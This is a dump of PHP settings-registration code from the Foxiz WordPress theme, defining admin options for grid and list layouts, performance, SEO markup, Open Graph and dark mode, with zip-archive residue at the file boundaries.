'foxiz' ), 'subtitle' => esc_html__( 'Hide the post excerpt on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'center_mode', 'type' => 'switch', 'title' => esc_html__( 'Centering Content', 'foxiz' ), 'subtitle' => esc_html__( 'Centering text and elements for the post listing.', 'foxiz' ), 'default' => false, ) ) ); } } if ( ! function_exists( 'foxiz_register_options_block_grid_box_1' ) ) { /** * @return array */ function foxiz_register_options_block_grid_box_1() { $prefix = 'grid_box_1_'; return array( 'id' => 'foxiz_config_section_styling_grid_box_1', 'title' => esc_html__( 'Boxed Grid 1', 'foxiz' ), 'icon' => 'el el-th-large', 'subsection' => true, 'desc' => esc_html__( 'These are settings for the boxed grid 1. It will be overridden by the "Block Design" (for Elementor pages) and "Blog Design" (for the Blog and Archive pages).', 'foxiz' ), 'fields' => array( array( 'id' => $prefix . 'info', 'type' => 'info', 'class' => 'layout-info', 'style' => 'success', 'desc' => html_entity_decode( '' . esc_attr__( 'boxed grid', 'foxiz' ) . '' ), ), array( 'id' => $prefix . 'box_style', 'title' => esc_html__( 'Box Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select a box style for the post listing.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_box_style(), 'default' => 'bg' ), array( 'id' => $prefix . 'crop_size', 'title' => esc_html__( 'Featured Image Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a featured image size to optimize with the columns setting.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'default' => '0' ), array( 'id' => $prefix . 'entry_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the entry category to display in the post listing.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_standard_entry_category(), 'default' => 'bg-1,big' ), array( 'id' => $prefix . 'entry_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'subtitle' => esc_html__( 'Select settings for the entry meta bar.', 'foxiz' ), 'desc' => esc_html__( 'Organize how you want the entry meta to appear. Leave blank to set it as the default.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array( 'avatar', 'author', 'date' ), ), array( 'id' => $prefix . 'review', 'type' => 'select', 'title' => esc_html__( 'Review Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for entry review meta.', 'foxiz' ), 'options' => foxiz_config_entry_review(), 'default' => 'replace', ), array( 'id' => $prefix . 'review_meta', 'type' => 'switch', 'title' => esc_html__( 'Review Meta Description', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the meta description at the end of the review bar.', 'foxiz' ), 'default' => true ), array( 'id' => $prefix . 'entry_format', 'type' => 'select', 'title' => esc_html__( 'Post Format Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for the post format.', 'foxiz' ), 'options' => foxiz_config_entry_format(), 'default' => 'bottom' ), array( 'id' => $prefix . 'bookmark', 'type' => 'switch', 'title' => esc_html__( 'Bookmark Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bookmark icon.', 'foxiz' ), 'default' => false ), array( 'id' => $prefix . 'excerpt_length', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Excerpt - Max Length', 'foxiz' ), 'subtitle' => esc_html__( 'select max length of the post excerpt.', 'foxiz' ), 'desc' => esc_html__( 'Leave this option blank or set 0 to disable.', 'foxiz' ), 'default' => '12' ), array( 'id' => $prefix . 'excerpt_source', 'title' => esc_html__( 'Excerpt - Source', 'foxiz' ), 'subtitle' => esc_html__( 'Where to get the post excerpt.', 'foxiz' ), 'description' => esc_html__('When you select "use title tagline". if it is empty, it will fallback to the post excerpt or content.', 'foxiz'), 'type' => 'select', 'options' => foxiz_config_excerpt_source(), 'default' => '0' ), array( 'id' => $prefix . 'readmore', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the read more button.', 'foxiz' ), 'type' => 'switch', 'default' => false, ), array( 'id' => $prefix . 'sponsor_meta', 'title' => esc_html__( 'Sponsored Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the "sponsored by" meta.', 'foxiz' ), 'type' => 'switch', 'default' => true, ), array( 'id' => $prefix . 'title_tag', 'title' => esc_html__( 'Title HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a title HTML tag for the post title.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0' ), array( 'id' => $prefix . 'hide_category', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the entry category on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'tablet_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the tablet devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'mobile_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the mobile devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'hide_excerpt', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the post excerpt on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'center_mode', 'type' => 'switch', 'title' => esc_html__( 'Centering Content', 'foxiz' ), 'subtitle' => esc_html__( 'Centering text and elements for the post listing.', 'foxiz' ), 'default' => false, ), array( 'id' => $prefix . 'box_color', 'title' => esc_html__( 'Box Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for the background or border style.', 'foxiz' ), 'type' => 'color', 'transparent' => false ), array( 'id' => $prefix . 'dark_box_color', 'title' => esc_html__( 'Dark - Box Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for the background or border style in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false ) ) ); } } if ( ! function_exists( 'foxiz_register_options_block_grid_box_2' ) ) { /** * @return array */ function foxiz_register_options_block_grid_box_2() { $prefix = 'grid_box_2_'; return array( 'id' => 'foxiz_config_section_styling_grid_box_2', 'title' => esc_html__( 'Boxed Grid 2', 'foxiz' ), 'icon' => 'el el-th-large', 'subsection' => true, 'desc' => esc_html__( 'These are settings for the boxed grid 2. It will be overridden by the "Block Design" (for Elementor pages) and "Blog Design" (for the Blog and Archive pages).', 'foxiz' ), 'fields' => array( array( 'id' => $prefix . 'info', 'type' => 'info', 'class' => 'layout-info', 'style' => 'success', 'desc' => html_entity_decode( '' . esc_attr__( 'boxed grid', 'foxiz' ) . '' ), ), array( 'id' => $prefix . 'box_style', 'title' => esc_html__( 'Box Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select a box style for the post listing.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_box_style(), 'default' => 'bg' ), array( 'id' => $prefix . 'crop_size', 'title' => esc_html__( 'Featured Image Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a featured image size to optimize with the columns setting.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'default' => '0' ), array( 'id' => $prefix . 'entry_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the entry category to display in the post listing.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_extended_entry_category(), 'default' => 'bg-1' ), array( 'id' => $prefix . 'entry_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'subtitle' => esc_html__( 'Select settings for the entry meta bar.', 'foxiz' ), 'desc' => esc_html__( 'Organize how you want the entry meta to appear. Leave blank to set it as the default.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array( 'avatar', 'author', 'date' ), ), array( 'id' => $prefix . 'review', 'type' => 'select', 'title' => esc_html__( 'Review Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for entry review meta.', 'foxiz' ), 'options' => foxiz_config_entry_review(), 'default' => 'replace', ), array( 'id' => $prefix . 'review_meta', 'type' => 'switch', 'title' => esc_html__( 'Review Meta Description', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the meta description at the end of the review bar.', 'foxiz' ), 'default' => true ), array( 'id' => $prefix . 'entry_format', 'type' => 'select', 'title' => esc_html__( 'Post Format Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for the post format.', 'foxiz' ), 'options' => foxiz_config_entry_format(), 'default' => 'bottom' ), array( 'id' => $prefix . 'bookmark', 'type' => 'switch', 'title' => esc_html__( 'Bookmark Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bookmark icon.', 'foxiz' ), 'default' => false ), array( 'id' => $prefix . 'excerpt_length', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Excerpt - Max Length', 'foxiz' ), 'subtitle' => esc_html__( 'select max length of the post excerpt.', 'foxiz' ), 'desc' => esc_html__( 'Leave this option blank or set 0 to disable.', 'foxiz' ), 'default' => '12' ), array( 'id' => $prefix . 'excerpt_source', 'title' => esc_html__( 'Excerpt - Source', 'foxiz' ), 'subtitle' => esc_html__( 'Where to get the post excerpt.', 'foxiz' ), 'description' => esc_html__('When you select "use title tagline". if it is empty, it will fallback to the post excerpt or content.', 'foxiz'), 'type' => 'select', 'options' => foxiz_config_excerpt_source(), 'default' => '0' ), array( 'id' => $prefix . 'readmore', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the read more button.', 'foxiz' ), 'type' => 'switch', 'default' => false, ), array( 'id' => $prefix . 'sponsor_meta', 'title' => esc_html__( 'Sponsored Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the "sponsored by" meta.', 'foxiz' ), 'type' => 'switch', 'default' => true, ), array( 'id' => $prefix . 'title_tag', 'title' => esc_html__( 'Title HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a title HTML tag for the post title.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0' ), array( 'id' => $prefix . 'hide_category', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the entry category on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'tablet_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the tablet devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'mobile_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the mobile devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'hide_excerpt', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the post excerpt on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'center_mode', 'type' => 'switch', 'title' => esc_html__( 'Centering Content', 'foxiz' ), 'subtitle' => esc_html__( 'Centering text and elements for the post listing.', 'foxiz' ), 'default' => false, ), array( 'id' => $prefix . 'box_color', 'title' => esc_html__( 'Box Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for the background or border style.', 'foxiz' ), 'type' => 'color', 'transparent' => false ), array( 'id' => $prefix . 'dark_box_color', 'title' => esc_html__( 'Dark - Box Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for the background or border style in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false ) ) ); } }PK!uG(G(panels/optimized.phpnu[ 'foxiz_config_section_performance', 'title' => esc_html__( 'Performance', 'foxiz' ), 'desc' => esc_html__( 'Select options to optimize your website speed.', 'foxiz' ), 'icon' => 'el el-dashboard', 'fields' => array( array( 'id' => 'performance_info', 'type' => 'info', 'title' => sprintf( esc_html__( 'We recommend you to refer this DOCUMENTATION to optimize for you website', 'foxiz' ), 'https://help.themeruby.com/foxiz/optimizing-your-site-speed-and-google-pagespeed-insights/' ), 'style' => 'info', ), array( 'id' => 'lazy_load', 'type' => 'switch', 'title' => esc_html__( 'Lazy Load Featured Image', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the lazy load for the featured image.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'disable_srcset', 'type' => 'switch', 'title' => esc_html__( 'Disable Srcset', 'foxiz' ), 'subtitle' => esc_html__( 'Disable Srcset to optimize page speed score on mobile device.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'disable_dashicons', 'type' => 'switch', 'title' => esc_html__( 'Disable Dashicons', 'foxiz' ), 'subtitle' => esc_html__( 'Some 3rd party plugins will load this font icon. Disable it if you have not plan to use it.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'disable_block_style', 'type' => 'switch', 'title' => esc_html__( 'Disable Gutenberg Style on Page Builder', 'foxiz' ), 'subtitle' => esc_html__( 'Disable the block style css on the page built with Page Builder.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'disable_polyfill', 'type' => 'switch', 'title' => esc_html__( 'Disable Polyfill Script', 'foxiz' ), 'subtitle' => esc_html__( 'Disable wp-polyfill script (supporting older browsers that do not understand ES6) to improve the page speed score.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'preload_gfonts', 'type' => 'switch', 'title' => esc_html__( 'Preload Google Fonts', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable preload Google fonts to increase the site speed score.', 'foxiz' ), 'default' => 1, ), array( 'id' => 'preload_font_icon', 'type' => 'switch', 'title' => esc_html__( 'Preload Font Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable preload font icons to increase the site speed score.', 'foxiz' ), 'default' => 1, ), array( 'id' => 'disable_default_fonts', 'type' => 'switch', 'title' => esc_html__( 'Disable Default Fonts', 'foxiz' ), 'subtitle' => esc_html__( 'The theme will load default fonts to render some elements as heading tags, body, meta.', 'foxiz' ), 'description' => esc_html__( 'Enable this option if all fonts in Typography panels is set.', 'foxiz' ), 'switch' => true, 'default' => 0 ), array( 'id' => 'css_file', 'type' => 'switch', 'title' => esc_html__( 'Force write Dynamic CSS to file', 'foxiz' ), 'subtitle' => esc_html__( 'Write CSS to file to reduce CPU usage and reduce the load time.', 'foxiz' ), 'desc' => esc_html__( 'The dynamic file CSS may not apply immediately on some servers due to the server cache.', 'foxiz' ), 'default' => 0, ) ) ); } } if ( ! function_exists( 'foxiz_register_options_seo' ) ) { /** * @return array */ function foxiz_register_options_seo() { return array( 'id' => 'foxiz_config_section_seo', 'title' => esc_html__( 'SEO Optimized', 'foxiz' ), 'desc' => esc_html__( 'Select SEO options for your website. This panel helps your website optimized for SEO and appear better on the search engines.', 'foxiz' ), 'icon' => 'el el-graph', 'fields' => array( array( 'id' => 'section_start_seo_snippets', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'SEO Snippets', 'foxiz' ), 'indent' => true ), array( 'id' => 'organization_markup', 'type' => 'switch', 'title' => esc_html__( 'Organization Schema Markup', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable schema markup for the website, helps generate brand signals. Disable this option if you want to use 3rd party plugin.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'website_markup', 'type' => 'switch', 'title' => esc_html__( 'Sitelinks Search Box', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable website markup, helps to show the Search Box feature for brand SERPs and can help your website name to appear in search results.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'site_breadcrumb', 'type' => 'switch', 'title' => esc_html__( 'Breadcrumbs bar', 'foxiz' ), 'subtitle' => esc_html__( 'Breadcrumbs are a hierarchy of links displayed in search engines and your website. This option requests the "Breadcrumb NavXT".', 'foxiz' ), 'default' => 1, ), array( 'id' => 'site_itemlist', 'type' => 'switch', 'title' => esc_html__( 'ItemList (Carousel) Markup', 'foxiz' ), 'subtitle' => esc_html__( 'Enable the Carousels (Item List) schema markup for your Homepage.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'single_post_article_markup', 'type' => 'switch', 'title' => esc_html__( 'Article Markup', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the default schema markup for single post page if you want to use 3rd party plugin.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'single_post_review_markup', 'type' => 'switch', 'title' => esc_html__( 'Post Review Markup', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable review product markup for single post page if you want to use 3rd party plugin.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'section_end_seo_snippets', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_seo_information', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Organization Info', 'foxiz' ), 'indent' => true ), array( 'id' => 'site_description', 'type' => 'textarea', 'title' => esc_html__( 'Home Description', 'foxiz' ), 'subtitle' => esc_html__( 'Short description will display when searching your main site URL. Leave blank if you use 3rd plugins.', 'foxiz' ), 'default' => '' ), array( 'id' => 'site_phone', 'type' => 'text', 'title' => esc_html__( 'Phone Number', 'foxiz' ), 'subtitle' => esc_html__( 'input your company phone number.', 'foxiz' ), 'default' => '' ), array( 'id' => 'site_email', 'type' => 'text', 'title' => esc_html__( 'Email', 'foxiz' ), 'subtitle' => esc_html__( 'input your company main email.', 'foxiz' ), 'default' => '' ), array( 'id' => 'site_locality', 'type' => 'text', 'title' => esc_html__( 'Locality Address', 'foxiz' ), 'subtitle' => esc_html__( 'input your company city and country address.', 'foxiz' ), 'default' => '' ), array( 'id' => 'site_street', 'type' => 'text', 'title' => esc_html__( 'Street Address', 'foxiz' ), 'subtitle' => esc_html__( 'input your company street address.', 'foxiz' ), 'default' => '' ), array( 'id' => 'postal_code', 'type' => 'text', 'title' => esc_html__( 'Postal Code', 'foxiz' ), 'subtitle' => esc_html__( 'input your company local postal code.', 'foxiz' ), 'default' => '' ), array( 'id' => 'section_end_seo_information', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_og_tag', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Open Graph', 'foxiz' ), 'indent' => true ), array( 'id' => 'open_graph', 'type' => 'switch', 'title' => esc_html__( 'Open Graph', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable Open Graph (share to social). This option will be automatically disabled if you use Yoast SEO.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'facebook_app_id', 'type' => 'text', 'title' => esc_html__( 'Facebook APP ID', 'foxiz' ), 'subtitle' => esc_html__( 'input your facebook app ID for OG tags.', 'foxiz' ), 'default' => '' ), array( 'id' => 'facebook_default_img', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Facebook Default Image', 'foxiz' ), 'subtitle' => esc_html__( 'This image is used if the post/page being shared does not contain featured images.', 'foxiz' ), ), array( 'id' => 'section_end_og_tag', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ) ) ); } }PK!TTpanels/dark-mode.phpnu[ 'foxiz_config_section_dark_mode', 'title' => esc_html__( 'Dark Mode', 'foxiz' ), 'desc' => esc_html__( 'Select settings for the dark mode.', 'foxiz' ), 'icon' => 'el el-adjust', 'fields' => array( array( 'id' => 'dark_mode_notice', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'You can set custom dark mode background in "Global Colors > Dark Mode Background".', 'foxiz' ), ), array( 'id' => 'dark_mode', 'title' => esc_html__( 'Dark Mode', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the dark mode whole your website.', 'foxiz' ), 'type' => 'switch', 'default' => 1, ), array( 'id' => 'dark_mode_image_opacity', 'title' => esc_html__( 'Image Opacity', 'foxiz' ), 'subtitle' => esc_html__( 'Reduce the featured image opacity when enabled the dark mode.', 'foxiz' ), 'type' => 'switch', 'default' => '0', ), array( 'id' => 'dark_mode_default', 'title' => esc_html__( 'Default Dark Mode', 'foxiz' ), 'subtitle' => esc_html__( 'Set the dark mode as the default color scheme when users visit your website a the first time.', 'foxiz' ), 'type' => 'switch', 'default' => 0, ) ) ); } }PK!(UNzzpanels/block-list.phpnu[ 'foxiz_config_section_styling_list_1', 'title' => esc_html__( 'List 1 (Standard)', 'foxiz' ), 'icon' => 'el el-th-list', 'subsection' => true, 'desc' => html_entity_decode( esc_html__( 'These are settings for the list 1 (standard) layout. It will be overridden by the "Block Design" (for Elementor pages) and "Blog Design" (for the Blog and Archive pages).', 'foxiz' ) ), 'fields' => array( array( 'id' => $prefix . 'info', 'type' => 'info', 'class' => 'layout-info', 'style' => 'success', 'desc' => html_entity_decode( '' . esc_attr__( 'list', 'foxiz' ) . '' ), ), array( 'id' => $prefix . 'crop_size', 'title' => esc_html__( 'Featured Image Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a featured image size to optimize with the columns setting.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'default' => '0' ), array( 'id' => $prefix . 'featured_position', 'title' => esc_html__( 'Featured Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select a position for the featured image. ', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_featured_position(), 'default' => 'right' ), array( 'id' => $prefix . 'entry_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the entry category to display in the post listing.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_standard_entry_category(), 'default' => 'bg-1' ), array( 'id' => $prefix . 'entry_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'subtitle' => esc_html__( 'Select settings for the entry meta bar.', 'foxiz' ), 'desc' => esc_html__( 'Organize how you want the entry meta to appear. Leave blank to set it as the default.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array( 'avatar', 'author', 'date' ), ), array( 'id' => $prefix . 'review', 'type' => 'select', 'title' => esc_html__( 'Review Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for entry review meta.', 'foxiz' ), 'options' => foxiz_config_entry_review(), 'default' => 'replace', ), array( 'id' => $prefix . 'review_meta', 'type' => 'switch', 'title' => esc_html__( 'Review Meta Description', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the meta description at the end of the review bar.', 'foxiz' ), 'default' => true ), array( 'id' => $prefix . 'entry_format', 'type' => 'select', 'title' => esc_html__( 'Post Format Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for the post format.', 'foxiz' ), 'options' => foxiz_config_entry_format(), 'default' => 'bottom' ), array( 'id' => $prefix . 'bookmark', 'type' => 'switch', 'title' => esc_html__( 'Bookmark Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bookmark icon.', 'foxiz' ), 'default' => false ), array( 'id' => $prefix . 'excerpt_length', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Excerpt - Max Length', 'foxiz' ), 'subtitle' => esc_html__( 'select max length of the post excerpt.', 'foxiz' ), 'desc' => esc_html__( 'Leave this option blank or set 0 to disable.', 'foxiz' ), 'default' => '12' ), array( 'id' => $prefix . 'excerpt_source', 'title' => esc_html__( 'Excerpt - Source', 'foxiz' ), 'subtitle' => esc_html__( 'Where to get the post excerpt.', 'foxiz' ), 'description' => esc_html__('When you select "use title tagline". if it is empty, it will fallback to the post excerpt or content.', 'foxiz'), 'type' => 'select', 'options' => foxiz_config_excerpt_source(), 'default' => 'tagline' ), array( 'id' => $prefix . 'readmore', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the read more button.', 'foxiz' ), 'type' => 'switch', 'default' => false, ), array( 'id' => $prefix . 'sponsor_meta', 'title' => esc_html__( 'Sponsored Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the "sponsored by" meta.', 'foxiz' ), 'type' => 'switch', 'default' => true, ), array( 'id' => $prefix . 'title_tag', 'title' => esc_html__( 'Title HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a title HTML tag for the post title.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0' ), array( 'id' => $prefix . 'hide_category', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the entry category on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'tablet_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the tablet devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'mobile_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the mobile devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'hide_excerpt', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the post excerpt on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'center_mode', 'type' => 'switch', 'title' => esc_html__( 'Centering Content', 'foxiz' ), 'subtitle' => esc_html__( 'Centering text and elements for the post listing.', 'foxiz' ), 'default' => false ) ) ); } } if ( ! function_exists( 'foxiz_register_options_block_list_2' ) ) { /** * @return array */ function foxiz_register_options_block_list_2() { $prefix = 'list_2_'; return array( 'id' => 'foxiz_config_section_styling_list_2', 'title' => esc_html__( 'List 2', 'foxiz' ), 'icon' => 'el el-th-list', 'subsection' => true, 'desc' => esc_html__( 'These are settings for the list 2. It will be overridden by the "Block Design" (for Elementor pages) and "Blog Design" (for the Blog and Archive pages).', 'foxiz' ), 'fields' => array( array( 'id' => $prefix . 'info', 'type' => 'info', 'class' => 'layout-info', 'style' => 'success', 'desc' => html_entity_decode( '' . esc_attr__( 'list', 'foxiz' ) . '' ), ), array( 'id' => $prefix . 'crop_size', 'title' => esc_html__( 'Featured Image Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a featured image size to optimize with the columns setting.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'default' => '0' ), array( 'id' => $prefix . 'featured_position', 'title' => esc_html__( 'Featured Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select a position for the featured image. ', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_featured_position(), 'default' => 'right' ), array( 'id' => $prefix . 'entry_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the entry category to display in the post listing.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_extended_entry_category(), 'default' => 'bg-1' ), array( 'id' => $prefix . 'entry_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'subtitle' => esc_html__( 'Select settings for the entry meta bar.', 'foxiz' ), 'desc' => esc_html__( 'Organize how you want the entry meta to appear. Leave blank to set it as the default.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array( 'avatar', 'author', 'date' ), ), array( 'id' => $prefix . 'review', 'type' => 'select', 'title' => esc_html__( 'Review Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for entry review meta.', 'foxiz' ), 'options' => foxiz_config_entry_review(), 'default' => 'replace', ), array( 'id' => $prefix . 'review_meta', 'type' => 'switch', 'title' => esc_html__( 'Review Meta Description', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the meta description at the end of the review bar.', 'foxiz' ), 'default' => true ), array( 'id' => $prefix . 'entry_format', 'type' => 'select', 'title' => esc_html__( 'Post Format Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for the post format.', 'foxiz' ), 'options' => foxiz_config_entry_format(), 'default' => 'bottom' ), array( 'id' => $prefix . 'bookmark', 'type' => 'switch', 'title' => esc_html__( 'Bookmark Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bookmark icon.', 'foxiz' ), 'default' => false ), array( 'id' => $prefix . 'excerpt_length', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Excerpt - Max Length', 'foxiz' ), 'subtitle' => esc_html__( 'select max length of the post excerpt.', 'foxiz' ), 'desc' => esc_html__( 'Leave this option 